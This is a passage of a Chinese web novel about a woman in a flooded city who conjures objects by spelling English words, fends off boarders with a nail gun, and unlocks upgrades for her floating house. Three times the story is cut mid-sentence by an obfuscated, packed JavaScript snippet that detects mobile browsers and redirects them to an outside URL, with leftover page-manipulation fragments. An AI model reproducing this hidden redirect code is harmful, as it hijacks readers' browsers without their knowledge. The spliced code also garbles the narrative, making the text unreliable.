气钉枪怎么拼?查气字,完全查不到这个词。但她没有别的办法了,硬着头皮也得拼出来,实在不行就自己造个词。 气,是air。钉,她查到了nail,而枪,自然是gun。 Airnailgun。 闪光出现了,居然真的出现了一把工具,她自己瞎组的词,居然真的被字母盒认可。 和印象中恐怖片里的气钉枪不太一样,但一看就是类似的东西。这是个黑橙颜色拼接的工具,不是很重,单手也能拿动。它像个手持的电钻,有把手,有电机兼出钉口,唯一多出来的就是出钉口下方的长方形盒子,像机枪的弹匣。她一眼就看出,这里是装钉子的地方。 抽出钉子匣,里面已经装了一整排钉子,像钉书针一样粘在一起。把钉子匣重新装回去,又把配套的电池盒扣上,听到干脆利落的咔哒声。 热血涌起。 按下红色开关,钉枪做好了发射准备,她举起钉枪,对准眼前的墙壁,在距离几十厘米的位置发射,“咻”的一声,枪口飞出银光,钻进墙壁,不见了踪影。 OK,她准备好了。 来到前门观察,透过玻璃可以看到,已有三四个人突破了渔网的屏障,正在想办法克服沾了油的甲板。他们似乎找到了方法,把手伸长一点,伸进破烂的甲板缝隙里,卡住手指,当作一个固定点让自己上来。 不能让他们得逞。 一把推开门,尽量避开甲板上的玻璃渣,桑浔来到最接近成功登船的那人面前,将钉枪的枪口抵至对方额头。 那人瞬间僵住。其他几人也吓得不敢动弹。 “最后一次机会,想活就赶紧滚。”她拼命压住快要蹦出胸腔的心跳,让自己的声音里带上冰冷的杀气。 但她低估了男人们的斗志,或者说,她低估了这些人对她的低估。 面前那人的眼中虽然闪过恐惧,但很快被暴虐取代,取代的一瞬间,男人单手撑住甲板,另一只手猛地甩过来,想要夺取桑浔手中的钉枪。 她条件反射地躲闪,但手指同时下意识扣下了发射开关。 一声撕心裂肺的吼叫,眼前的男人向后仰去,摔在水里。 另外几个同样即将登船的人中,有两人立刻游过去查看那同伴的受伤情况。 桑浔低头看着自己的右手,那里刚刚发射出一枚钉子,而且,如果那一瞬间她没有看错的话,那钉子,正正刺进了男人的左眼。 那画面,比她看过的任何恐怖片都更惊悚,竟让她一时失了神志,只是呆呆地盯着右手的钉枪。 这给了入侵者机会。 另一个在她视线角落的人,趁她失神的时机,从她右侧后方登上了甲板。男人放低身子,猛地扑向她的侧腰,将她重重压倒在甲板上,钉枪脱手。 甲板上的玻璃碎渣扎进桑浔皮肤,但她顾不得痛,赶忙伸手去抓不远处的钉枪。万幸,她赶在男人的手之前抓住了钉枪,然后直接抬手就是一发! 钉子飞进男人的掌心,男人痛得嚎叫,桑浔趁此机会抬腿,对着那人的胸口就是一脚,把他直接踢进水里。然后爬起来,喘着粗气,两眼因为血色而通红,举着钉枪对准水里挣扎的人。 缠斗过后,环贸帮损失惨重,只得放弃这波进攻,相互托举着朝岸边游去。而建筑院组的人,还有熊二光头强,则进退两难,暂时没了主意。 桑浔假装感觉不到身上被玻璃渣扎出的血,举起钉枪对着远处水中观望的人喊道:“你们想动手之前,先想想自己是不是也想跟他们同样下场。” 然后不等这帮人反应,直接扭头回屋,关门锁紧。 离开玻璃门的下一秒,她弯下腰,无声呐喊。 FUUUUUUUUAAAAAAAAAAAAAAAACK! 疼!超级疼!但…… 太刺激了! 她当然是害怕的,怕得要死。但她更是兴奋的,因为自己刚才太帅了,表现太神勇了,反应太敏捷了,这胆识、这刚烈,这真的是她吗?是那个在职场上被工作被老板被客户虐成狗的桑浔吗? 这表现,绝对配得上做个末世文女主了吧!就算做不成女主,也至少是团队里的主力战士吧! 没想到,啧啧,自己居然有这潜质。原来自己竟然能临危不乱,能正面对抗围攻,能有勇有谋,能打退一波敌人。 不愧是妈妈的女儿。 她嘴角扬起一丝笑,妈妈,你看到了吗?我没给你丢脸吧? 但下一秒,那笑却变成了龇牙咧嘴的怪诞表情,因为她不小心撞到了墙壁,皮肤上的玻璃渣又刺痛了她。 别回味了,赶紧治疗吧。她一瘸一拐地来到桌前,把钉枪放在桌上,枪口对着外面,然后开始翻字典。镊子、碘伏、棉球、纱布、医用胶带这些她都需要。幸好,这些在字典里都有,分别是:tweezers,iodophor,cottonball,gauzepad,medicaltape。 物资一一出现,她留意到,视线右下角的数字,已经到了50整。而时间,才过了15分钟。 她还需要在不到7小时内再拼50个词, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482794|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就能完成船长挑战。 脱掉上衣,用镊子一个个地夹玻璃渣,她疼得满脸抽搐。本来想着用来防外人的,没想到变成回旋镖伤了自己。但好在,这些玻璃没有特别碎,所以很好挑,她才用了几分钟时间,就把左侧胳膊上的玻璃碎片都挑了出来。而且万幸,大部分玻璃碎片没有特别尖锐,所以虽然有流血,但都可以很快止住。 后背也有几处伤,但万幸玻璃都被衣服挡在外面,没有碎片扎进后背。但她还是拼出两面镜子mirror,一前一后摆好,对着镜子给左后背消毒,然后给几处流血的地方贴上胶布。 然后她发现,在左后下方衣摆附近,有一块大的玻璃,躲过了衣服,直接插进肉里,有点深。 这块玻璃本身也压住了血管,暂时能止住血,但必须尽快拔出,可拔出就意味着可能要喷血。 Tampon,棉条。 她立刻想到了这个词,简直就是为这种场合而生的。于是迅速拼出这个词。 东西变出来了,但怎么给自己塞进去是个难题。 玻璃扎的位置非常歹毒,就在左后侧肋骨下方,自己刚刚好够不到。如果要扭转身体用右手,反而会加剧玻璃扎进去的深度,更加疼痛。 怎么办? 这时门外突然响起人声,桑浔猛地抬头。 “姑娘,俺不是坏人,俺是想找你帮忙,能不能带俺去找俺娘。” 熊二。 桑浔冷笑,这二货刚才的心思都被她听见了,现在还说自己不是坏人,谁信? 熊二继续:“俺看你扎了好多玻璃,要不俺帮你处理吧?俺小时候在村卫生院帮过,处理这个俺可行呢。要是处理得让你满意,你就答应带俺找娘去,行吧?” 行个屁。 桑浔打算先无视熊二,也无视这玻璃渣与疼痛,而是先专注拼词。现在还差48个词,她越早拼完,越早成为船长,就能越早升起屏障,离开这个是非之地。 至于熊二和其他男人,谁敢再闯,钉枪伺候。 这次她学聪明了,不再管物资有没有用,反正能快速拼出东西来凑数就行了。本以为需要不停翻字典,谁知桑浔竟然在肾上腺素的作用下一口气想起了二十多种食物的名字,光是水果就十几个,包括banana、mango、cherry、orange、peach一大堆,更别说蔬菜碳水饮料什么的,bread、tomato、potato、onion、milk、coffee从她脑中鱼贯而出。 一把下来,数字竟然只差20个就完成。 喘了口气,她还能再拼。想想当年英语第一学期,学了多少名词来着?橡皮eraser、尺子ruler、帽子hat、包bag、鞋shoes、袜socks,等等等等,很快就拼到86个,还差14个。 快想,不要停。脑子里已经没有现成的词了,必须得查字典,但她不想一个词一个词的想然后翻,太浪费时间。有什么开头同一个字,能引申出很多词的吗? 有了!牙!牙膏牙刷牙线不都是物品吗?她赶紧翻到汉语牙字那页,竟然一口气看到三个,toothbrush牙刷、牙膏toothpaste、牙线floss,不算多,但数字来到了11。 牙后面再翻一页,看到了眼字,眼字的词多了些,眼镜glasses、眼线eyeliner、眼药水eyedrops、眼影eyeshadow、眼罩eyemask,全都拼了出来。 数字还剩6,最后再努把力就行,但这时熊二的声音再次响起—— “姑娘,俺现在上船了行不?俺帮你看看伤,保证不伤害你。” 他要强行登船! 怎么办?是现在冲出去拿钉枪击退敌人,还是专注拼完最后6个词? 桑浔咬牙,不管了,拼!牙和眼之后,手说不定也有很多词。翻到手这一页,果然一排东西:手电筒、手锯、手铐、手链、手巾、手套、手杖、手霜什么都有。 她专挑短的词拼:gloves手套、cane手杖——熊二似乎已经登上了甲板。 bracelet手链、handsaw手锯——他过了油和玻璃渣那关,已经在摆弄门把手。 Handcuffs手铐——门把手被摇晃得哐哐响,仿佛下一秒就要坏掉。 还剩最后一个手电筒,字母有点多,刚拿出第一个字母f,她听到了门被拉坏的声音。 一只男人的脚踏进屋内。 13. 一级形态 Type One 第100个词,flashlight手电筒,一共10个字母。 拿下第一个字母时,熊二的脚踏进屋内。 她右手握住气钉枪,左手继续极限取字,l、a、s——男人的身躯出现在门框处——她一枪射过去,离门得太远了,钉子在最后一段失了势,轻轻落在男人脚边。 那人看了眼地上的钉子,又扭头看向桑浔,嘴角裂开。 “你看你,咋还生气了?俺真的不是坏人……” 然后朝她走来。 心脏快要爆炸,无法控制地想尖叫,想逃跑,想扔下一切跳进水里。 但唯独没有想求饶。 恐惧像一盆冰水从头浇下,把她的脑子浇得异常清醒,她没有退路,没有选择,只有拼完单词,只有战斗。 下一个字母是h,拿到了!摆好了,下面是什么?眼睛试着瞥向字典,但原本按在字典上定位的手去抓了钉枪,她现在一眼已经扫不到在哪行了! 来不及了,凭记忆,后面的字母是什么?是光!可光要怎么拼? 拼写一直是桑浔的弱项,但此时没有别的可以依靠,她只能相信自己。光的开头应该是l,再下个呢?她盯着字母盒里26个无辜的东西,竟想不起拼写,生生耗费了两秒钟。 “姐,你手上那是个啥?钉枪啊?”熊二歪头看了眼,“那玩意儿得贴着打才有用,俺来教你吧。” 这只是个普通的人,只说着普通的话,却毫无理由地散发出令人恐惧的气息。 可若这时屈服于恐惧,那她将不再有未来。 不许怕。她告诉自己,不许怕! 不许怕。她告诉自己,不许怕! 正面迎向男人,桑浔将手上的气钉枪对准他:“你算什么东西,还想教我?”说完又是一枪。距离仍然不够,钉子在离男人的脸还有点距离时就掉在地板上。 “嘿嘿,脾气还不小。”男人咧嘴,露出黑黄的牙,“别怕,哥哥罩着你。” 无视这句,桑浔在对方再次抬步向前时又给了一枪。这次,钉子碰到了对方的肩膀,但速度不够,像在挠痒。 男人突然加快脚步朝她冲来,下一瞬就来到她眼前。节奏的突然变化打了桑浔一个措手不及,没能扣下扳机,手上的钉枪就被男人一把握住扔到地上。紧接着,男人另一只手大掌伸出,直接扼住她的喉咙! “俺都说了不是坏人,你咋老打俺呢?” 不是坏人?不是坏人能做出这些事情?桑浔只觉得喉咙被梏得生疼,跟呼吸没关系,怕是在她缺氧之前,喉颈的骨头会先被捏爆。 电光火石之间,她喊出了一个名字:“马、马大华……” 男人的手突然松动,表情也出现动摇:“你、你咋知道俺叫啥……” 多亏了漂流屋的信息音增强,她在之前听到了熊二的名字,也知道他担心自己的母亲、想要去城郊的葫芦村找母亲。 桑浔开口:“你放开……我,我能去葫芦村找你娘……” 男人的手放开了,倒不是听她话,而是处于惊讶:“你是谁?你咋知道……” “咳咳、我是……”桑浔猛猛咳嗽之后找回呼吸,“你给我一分钟,我修好这艘船,就能带你找你娘。” 马大华不可置信,却又带着希望:“真的?你能找俺娘?那你快点,俺不动你。” 桑浔踉跄着回到桌前,手电,还差最后几个字母,她终于在字典里找到对应的那一行,看清了剩下的字母:l-i-g-h-t,light,光。 这么简单的拼写,她不应该忘记的。因为忘记拼写,她白白浪费了两三秒。而这两三秒,是有可能避免刚才和马大华的全部肢体对抗。 马大华看她在盒子里拿奇怪的东西,狐疑问道:“你这是在干啥?不是修船吗?” 但桑浔没有回答,因为一道闪光出现,单词变成物资。随闪光一同出现的,是眼前的两行文字。 【成功拼出100个物品,完成船长挑战,自动激活船长模式。】 【检测到当前有人强行登船,是否开启漂流屋保护屏障,驱逐登船者?】 必然点【是】。 没有什么震动,也没有轰隆隆的声响。悄无声息地,漂流屋升起了屏障。 下一秒,男人双脚离地,被无形的力量凭空拍出门外。他还来不及惊呼,便轰然落水。 桑浔来到门后隔着玻璃看,漂流屋外出现一层透明的屏障,像流动的水幕一般,在夕阳照耀下闪出变换的光。真真是五彩斑斓的白。 但屏障外的人看不到这景象,他们只能看到已经进入屋内的马大华被轰出来摔进水里,看到眼前的漂流屋凭空消失。看得他们满脸惊诧,张嘴就是各种脏话咒骂。 桑浔终于耗尽了力气,瘫跪在门后。 她安全了。 就是这群人骂得难听,太吵,能让他们闭嘴就好了。 说明文字狗腿一般及时上线: 【祝贺您成功获得船长资格,开启船长模式。】 【检测到当前环境噪音过大,是否开启物理降噪功能?】 物理降噪是什么?没听过,但她很乐意试试。 点了【是】,只见从屏障处突生一阵狂风,像超大功率的鼓风机一般,劈头盖脸吹上那群人。强大的风力竟然把一整片水面都吹跑吹远,连带着水中这群人一起飞出去老远。 但这风又挺有分寸,在把人吹到快撞上远处的高楼时主动停下,于是这群人都被拍上楼的外立面,又跌回水中。 没有受重伤,但心灵绝对受到了惊吓。 算了,不够解气,但这种程度就够了。 漂流屋又问: 【是否将漂流模式转为驾驶模式?当前等级下仅有自动驾驶模式,船长只需设定好航向与航速即可。】 接着眼前浮现出一张地图,还有一个指针。 地图就像平时手机里的地图,但不同的是,画面上不再是城市的道路与楼宇,相反,这里已经看不见道路,只能看到铺满的水,和水上一个个的黑点。 那些黑点,代表着还露在水面上的楼宇。有的密布,有的零散。仔细看,黑点上还有密密麻麻的小字。她下意识伸出两手,然后向外拉,果然,地图被放大,楼宇的小黑点变成各种尺寸的小方块,小方块旁边还带着楼的名字。 地图中央是她现在的位置,把地图缩小,很快找到了自己小区所在的区域。原本的小区居然还有两个黑点,分别是9号楼和10号楼。 这两个楼都是12层高。它们还在地图上,就意味着水位没有超过12层。 这地图就像是科幻片里的全息投影,手伸上去就能直接操控。连那个指针也是,她只是将一个手指放到指针的位置上,就立刻感觉到了某种定型为指针状的空气贴在指尖,并且随着手指的移动而转动。 用手指带着指针移动,指向自己的小区,选定这里作为目的地。 反正暂时没有地方可去,不如先回去看看。 随后,视线被指针上的一个小方格吸引。这方格套在指针的根部,可以沿着针上下移动。而指针自身是有刻度的,最底部是0,最顶端是30。 【速度上限为30公里/小时】,脑海中出现之前看到过的功能说明。 将方格移到最顶端的30,收回手,看向门外。 远处的楼开始变小,漂流屋正在离开这片是非之地,朝她原本的小区驶去。 甲板劈出浪尾,令人生出披风破浪的错觉。但其实并没有,她只是在这个水上小屋里,小屋只是在以非常慢的速度行进。 不过,她安全了。 将自己甩回沙发的瞬间,闭上眼,胸中吐出长长一口气。 刚刚经历的这几个小时,着实掏空了她。 不,算起来,从昨天下班出地铁站开始,到现在差不多24小时,她像是经历了一场极度耗人的噩梦。 有没有人能过来摇醒她,告诉她这只是个梦啊。 她多希望此刻睁开眼,能看到自己正躺在出租屋内的床上,入眼是有些脱落的出租屋墙皮,拿起手机,只是周六的白天,她只是加班太苦睡了一长觉而已,睡醒之后手机微信群里的工作消息仍然像往常那样酷酷发来。 啊不,工作消息倒不必了,只要是个梦就行。 小心翼翼、充满期待地睁开眼。 入眼是干净的木质天花板。 闭眼,再来一次。 重新睁开,入眼是干净的木质天花板。天花板上还有好看的光纹,像一尾尾透明的鱼。那是夕阳照在窗外的水面上,透过玻璃反射到天花板上的碎光。 她不得不接受现实。 大降雨是真的,捡到木筏是真的,升级成漂流屋、成为船长也是真的。 人们被迫转移是真的,大坦和程媛蓄意害人是真的,苏家母女送给她一本字典是真的,刚才试图抢她船的那群人也是真的。 而她在极限时间内拼出了100个词,成功激活船长模式,也是真的。 多亏有这本字典,还有字母盒。 赞赏地看向字母盒,却发现盒子已经消失,取而代之的,是一个像手机又不像手机的设备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482795|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 【船长的造物工具由字母盒升级为带电子屏幕的拼写器,且永久续航,防护安全等级为IP67。】这行说明及时出现在眼前。 想起来了,这是船长模式下的新功能。 她不再需要从盒子里一个字母一个字母地取了,只需要在拼写器上按键就好。 拿起这设备,看上去像是几十年前流行过的全键盘手机,上半部分是屏幕,下半部分是物理键盘。每个按键大小适中,正好适合她的拇指。除了26个英文字母,还增加了像回车和删除这类的特殊符号键,并且每个字母键左上角还有数字和标点符号。 真的就像是手机一样,可以输入更多种类的字符。 按下右上角的开机键在右上角,屏幕亮起一行字。 【Wee,Captain.】 Captain。桑浔在心里默念。这个词真好听。 她从未做过任何领导,哪怕小组组长都没做过。可今天,她升级为了船长,并且拥有一艘能在水上漂着、行进的,而且能够不断升级进化的船。 欢迎词从屏幕消失,接着是输入指纹与面容的步骤。她这才发现,屏幕下方中部有一个小圆,那里是放手指测指纹的地方,而屏幕上方边缘中间,则有一个小小摄像头。 两个步骤非常丝滑,很快完成。屏幕迅速亮起,是很有年代感的绿色屏幕,然后一个黑色小横线光标闪啊闪。 在等待着她输入一个词。 这,突然有点不好意思呢。 字母盒升级为拼写器的第一个词,怎么说也得是个高端点、能开启美好未来的词吧,总不能再来个apple了。 她知道这样的词吗? 环视屋内,刚才极限拼出的一堆东西,大大小小,吃的喝的有用的没用的占据了半边地板。如果她想在漂流屋长期生活,这些自然是不够,还需要更多。可现在,她不打算想那么远。 暂时只拼一个就好,拼完她就去沙发上躺着。生理期,一场恶斗,身上还有伤,她只想躺着。 太阳即将下班,屋内的光线明显变暗,夜幕将临。 她想到要拼什么了。 能发光,能将夜晚照亮,但不至于彻底让黑夜无处可去。 蜡烛,candle。 在拼写器上依次输入字母,光标随之后移,直到6个字母都拼完。然后,按下回车键。 一个小小玻璃杯出现在桌上,杯口嵌着的银色金属片连接着短短棉芯,杯中盛着半透明的蜡烛,像凝固的蜂蜜,和夕阳的最后一缕光呼应。 从地上捡起之前煤油取暖器自带的点火器,点着了蜡烛。橙色烛光在屋内绽放,与此同时,屋外的霞光也彻底关闭。 屋子里的东西在烛光里变了样子,就连之前陪她浴血奋战的气钉枪,也仿佛套上层浪漫薄纱。她坐回沙发上,小心避开还留在身体里的那块玻璃渣,找了个舒服的姿势侧躺。 终于可以松口气。 漂流屋的说明文字却在此时出现。 【再次欢迎船长登船。请问是否开始船长模式功能介绍?如暂不需要,也可开启英语舰升级任务介绍。】 【船长模式功能介绍】【英语舰升级任务介绍】【都不需要】 虽然很累,两个都不想要,但考虑到不久前刚因为消极应对船长挑战而遇到危险,现在的她可不敢怠慢。 先了解全局吧,看看英语舰的升级任务到底是什么样? 文字说明开始一行行浮现。 【英语舰旨在留存以英语为主要载体的文明成果。基于此项使命,英语舰的升级将通过两条任务线实现。】 【通过完成文明成果收集任务线,可实现英语舰形态升级。 共分五级形态,分别为: 一级形态:海上漂流屋。初阶结构为搭配单间小屋的30平方米简易平台。存储空间有限,初始功能单一,航行速度低。无水电系统。无信息网络。 二级形态:稳固之家。初阶结构为100平方米坚固海上平台。航速上限提升十倍,无限存储空间,水电系统开启。信息网络开启。 三级形态:观潮据点。初阶结构为500平方米木石混合结构平台。存储空间开启生命支持模式。方舟舰队内部通讯网络开启。 四级形态:蔚蓝堡垒。初阶结构为1000平方米航母级平台。存储空间开启分区模式与时间控制模式。方舟舰队内部远程协作模式开启。 五级形态:】 桑浔眼睛瞪大。 五级形态,竟然是……那种东西? 14. 输入方式 input method 像是知道桑浔需要时间消化这些信息,文字提示并不着急消失,而是安静飘在空中,耐心等着她。 她的确需要好好消化。 照提示所说,她需要完成一定的文明成果收集任务,就能够实现形态升级。一共五级形态,漂流屋此时是第一级。 每一级对应着平台的扩大,还有功能的增加。一级形态下没有水没有电,不能上网,存储空间有限,航行速度也低。但这些问题,只要升到第二级就能解决。 除此之外,第二级还有个亮点:无限存储空间。 无限,就是想有多大就有多大,无论多少东西都能放下。在她看过的末世文里,谁要是有无限空间,绝对是队伍里的重要成员。 而她的空间,可不单单是无限这一个特点。再往上升,到了三级,就可以开启生命支持模式。 生命支持,是不是意味着可以把植物、动物甚至人放置在空间内?也就是说,那些因为大水而失去生存空间的生命,都可以在她这里得到庇护? 有一点激动。 但也有亿点压力。 她的英语舰,在二级时还只是个辅助角色,到了三级就变成避难所了?那四级呢? 升上四级后的空间,增加了分区模式和时间控制模式。 感觉好高级。高级到暂时想不出来这些模式能用来干点什么。 不过,这个空间好像还不是最神奇的。因为她在三级和四级的文字里,看到了另外的东西:方舟舰队内部通讯网络,还有方舟舰队内部远程协作。 方舟舰队,一个让她浮想联翩的名字。 意思是除了英语舰,还有别的舰吗?其它能够留存人类文明成果的舰船,比如汉语舰?除了语言呢?其它学科算不算?数学化学?历史政治哲学? 不知道将来第一个和自己通讯的舰是什么舰。如果是汉语舰就好了。不是汉语舰也没关系,其它什么舰都行,除了物理舰。打死她都不要碰物理,她和物理有大仇。 收回乱飘的思绪,她把注意力放回到文字上,还有第五级。 【五级形态:文明方舟。初阶结构为10000平方米综合生态平台。整个方舟舰队内,仅有一艘可升级至该形态,最先完成升级的舰只自动成为舰队指挥舰,可远程操控方舟舰队内部所有舰只。当出现第一艘文明方舟后,其余所有舰只的升级上限将停止在四级。】 也就是说,如果她的英语舰最先升到五级,就可以成为整个方舟舰队的首领。 但如果别的舰先于她升到五级,那她只能屈于人下。 如果是不久前的她,会觉得无所谓,有别人做首领,自己只需要负责眼前的一亩三分地就行。 可现在,经过刚才那场恶战,她已经意识到,命运必须牢牢地、完整地握在自己手中。 她想升级,想一路升,想第一个升到五级。 似乎是感知到她的情绪,提示文字开始变化,新的一段内容出现。 【每一级形态之下,又分为初阶、中阶与高阶。船长可通过完成每日、每周及每月的英语挑战来赢取船长积分。当积分达到升阶标准,便可解锁更多造物权限、拓展舰体空间、增加乘客人数上限、丰富船长特权。】 船长特权? 谁会不喜欢特权呢?尤其是自己辛辛苦苦考挑战来获得的特权。所以,船长有哪些特权呢? 【船长特权:多种,具体见各阶挑战细则。】 桑浔:…… 这么会敷衍呢。 像是要证明自己并不是敷衍,文字说明立刻又发生变化。 【是否现在了解当前升级任务与升阶任务?】 未尝不可。 【当前升级目标:从一级形态升至二级形态。 升级任务:收集以下五大类文明成果中,每个小类的成果实体。 收集数目:每个大类至少一项,不限小类。 收集方式:通过船长大脑将成果完整输入给英语舰。】 眨眨眼。 老师,桑浔同学有问题要问。 “通过船长大脑将成果完整输入给英语舰”,是什么意思? 是把她的大脑通过一万根线连到什么奇怪的巨型机械上、让她此生只能作为一个半死不活的大脑机器存在吗? 【输入方式为完整阅读、观看、收听或演绎。】新一行文字赶在她爆发之前出现。 胸中的怒火一下子哑了去。也就是说,只要自己看过一遍,就算作输入了? 以后的文字提示可不可以不带大喘气?! 懒得跟这不靠谱的文字说明一般见识,她要先看看都是什么大类、什么小类。 【英语文明成果包含以下五大类、共20个小类,分别为: 文学:小说、诗歌、戏剧、散文、童话寓言 思想:演讲、哲学、历史、宗教、政治法律 科学:经典著作、重要论文、发明专利、产品说明 艺术:音乐、绘画、建筑、影视 日常:俗语俚语、童谣儿歌】 硬着头皮看完,她的升级策略逐渐成型。 五个大类下,不限小类,只要输入一项就行。也就是说,她只需要输入五项就能实现升级。 大类包括文学、思想、科学、艺术和日常。 是不是说,只要随便找一本英语的小说或者诗歌散文,看完它,就算输入了文学大类?既然如此,找篇幅短的诗歌或童话,就可以很快完成? 思想大类,是不是听一遍历史上的知名演讲就算收集?而科学,读完一篇英语论文就可以? 艺术似乎更轻松,看一部英文电影就能搞定。至于日常……唱一首儿歌就可以? 有些心动,这个升级任务看上去一点也不难,她当场就能先完成儿歌。脑中立刻想到那首,一闪一闪亮晶晶。 “Twinkletwinklelittlestar,*&%” 下半句是什么?……好像想不起来。 换一首,圣诞节那个吧。Jinglebells,jinglebells,jinglealltheway.Ohwhatfun…… Whatfun然后呢?为什么想不起来了? 等等,她连首英文儿歌都唱不完吗?不可能,一定有会唱的,再想。 有了!所有人都会的,学英语唱的第一首,字母歌。 “ABCDEFG,HIJKLMN,”可以可以。 “OPQRST,UVWXYZ,”就这样唱完它。 “NowIknowmyABCs,won’tyou^%$#O$”……最后一句是什么来着? 桑浔崩溃。只是首儿歌,居然能让自己这么挫败。漂流屋的升级要求真的不高,不争气的是她自己。 下一秒,眼前出现文字:【检测到船长尝试输入童谣儿歌,但输入细节有误。请确保输入内容完全正确,方可确认收集成功。】 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482796|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多谢提醒。 像是知道她暂时没辙,新的文字适时出现。 【当前升阶目标:从一级初阶升至一级中阶。 升阶任务:船长积分达到100分。 积分获取方式:参加每日英语挑战(单次满分10分)和每周英语挑战(单次满分100分)。 升阶成功奖励:漂流屋航速上限翻倍;新增船长特权——锁定特定声波进行追踪,有效范围100公里以内。】 100分,便可实现航速翻倍,百公里内特定声波追踪。 航速翻倍这件事没有太吸引她,毕竟自己也不参加什么水上竞速。至于锁定特定声波进行追踪,听上去是个很厉害的功能,只是暂时想不出来能用在什么场合。 至于100分,似乎也并不难。假设每日英语挑战能轻松拿10分的话,10天就能达成。而如果每周挑战表现好,就可以更早拿到100分。 只是不知道是什么样的挑战。 【是否开始今日英语挑战,赢取船长积分?】 几秒后,桑浔仍在犹豫。她很想知道英语挑战到底是什么内容、什么难度。但她真的很累,想要休息。 不,还是先挑战吧,让自己更早有心理准备。 手指伸向【是】,但突然视线歪倒、身体倾斜,失去重心的她下意识想靠手平衡自己,一个不小心点上了【否】。 文字消失,桑浔脚下一晃,摔在地板上。没有很疼,但很不舒服。 揉着屁股站起来,她抓住窗边,想看看是什么情况,难道突然又起了风浪? 从窗户看什么都看不见,但可以听到背后方向传来轰鸣声。打开后门,站到船后甲板上查看。 月色尚在酝酿,入目的大部分东西都是绰绰灰影,直到一大团黑色从眼前轰然划过。 像一头大象紧贴在人的眼前跑过。 黑色东西擦着漂流屋的屏障边缘快速驶离,掀起巨浪,晃得桑浔差点吐出来。她抓紧门槛,伸出半个身子追着看。 月亮也在此时探头查看,借着月光,桑浔看清楚了。 一艘船。 大小像是电影里看过的那种富豪开奢靡排队用的游艇,可外表完全不像游艇,非要说的话,更像是装甲车? 水陆两用的装甲车? 那是全黑色的涂装,她只看得到后背,后背就像军用装甲车,看不到里面的样子。 这纯黑的颜色……感觉不是自家军方惯用的涂装风格。 正在这时,从“装甲车”上传来人的声音,经漂流屋的增强进入桑浔耳中。 “Wherearewe…?”(省略号是桑浔没有听懂的部分。) “KunSha.KunShaIslands.” 然后那装甲车便驶出了她能听到的100米范围。 他们说的应该是英语,所以他们不是军方的人,而是外国人。外国人为什么会开着这种奇怪东西出现在大水后的昌市? 而且她听到的那句KunShaIslands,有点耳熟。想了两秒,她意识到,那应该说的是坤沙群岛。 祖国最南部的领土。 什么样的外国人,会驾驶这种水陆两用装甲车,在昌市出现,然后要去坤沙群岛? 困惑中,又有新的声音出现在她的耳中。 “是真的,我没骗你们。刚才那群外国人把我妈妈抢走了,你们相信我!” 她倒吸一口冷气。 这声音,是苏归雁。 15. 第一位乘客 Passenger 月光下,桑浔发现自己正好漂到了离家不远的一处地标附近,昌华Soho。 这是附近最高的建筑。三栋楼组成的建筑群,每栋楼都是曲线和曲面构成。有人说这是三座山,但桑浔总觉得这是三个快要撞在一起的帆船。 这里作为商业办公楼,曾孵化出多个闻名全国的互联网公司。不过近年受大环境影响,租们户逐渐搬离,房租一降再降,空置率却直线上升。 但也好,此时正好承接周边的大量居民。 她确认,苏归雁的声音就是从她面前的A塔传来的,并且还在继续。 “真的,就是刚才楼下那个黑色的奇怪的船,他们把我妈抓上去之后就开走了,你们能不能去追他们?求求你了。” 回头看向那已经变成小黑点的水陆两用装甲车,苏老师在那里面?所以,有一群外国人趁着大降雨后的混乱,在昌市的临时安置点,当着无数紧急避难的市民的面,光天化日之下抓走了苏老师,然后要带着她去坤沙? 苏老师被抓,但苏归雁被留下了? 想到那笑起来如小太阳的女孩,眼睁睁看着自己母亲被抓走,有人能帮她吗?恐怕很难。现在安置居民是首要任务,怕是没人能分出余力帮她追回妈妈。 她一定很害怕很着急吧。 就像当年的自己。 忘记了漂流屋的升级和升阶,桑浔当即打算进入楼内去找苏归雁。她很快找到了一个临时“码头”,就在水面处一个玻璃完全碎掉的窗框处。 不知是何人的创意,一个大号的防水充气垫卡在窗框,一半在窗外一半在窗内。充气垫并不直接贴着水面,而是绑在好几个并排的饮水机大水桶上面。这些大水桶的入口处被堵起来,里面都是空的。 像以前在课本上看到过的猪皮筏。 水桶气垫筏的宽度正好卡住窗框,从窗户里向外伸出好几条绳子。这应该是固定“临时船只”用的“缆绳”。 下意识想要捞来一根绳子固定住自己的漂流屋,但她突然想到,漂流屋虽然有屏障,此时处于隐身状态,但它只是不能让外人看见而已,本身仍然是个物理实体而存在。万一停靠在这里,让看不见漂流屋的人或船撞了、剐蹭了,生出麻烦可就不好了。 得把漂流屋带在身上。或者说,戴在身上,就像前一晚的木筏吊坠。 想到这里,眼前闪现出文字。 